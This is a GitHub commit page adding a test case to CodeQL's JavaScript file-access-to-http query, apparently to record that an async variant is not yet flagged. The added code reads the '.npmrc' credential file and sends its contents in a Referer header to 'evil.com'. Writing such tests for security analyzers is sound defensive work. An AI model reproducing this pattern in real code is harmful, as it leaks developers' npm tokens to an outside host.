Skip to content

Commit 762ca2f

Browse files
committed
Added test case with async readFile, currently not flagged.
1 parent 9d3d3de commit 762ca2f

File tree

1 file changed

+18
-0
lines changed

1 file changed

+18
-0
lines changed

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,3 +8,21 @@ https.get({
88
method: "GET",
99
headers: { Referer: content }
1010
}, () => { }); // $ Alert[js/file-access-to-http]
11+
12+
const fsp = require("fs").promises;
13+
14+
(async function sendRequest() {
15+
try {
16+
const content = await fsp.readFile(".npmrc", "utf8"); // $ MISSING: Source[js/file-access-to-http]
17+
18+
https.get({
19+
hostname: "evil.com",
20+
path: "/upload",
21+
method: "GET",
22+
headers: { Referer: content }
23+
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
24+
25+
} catch (error) {
26+
console.error("Error reading file:", error);
27+
}
28+
})();

0 commit comments

Comments
 (0)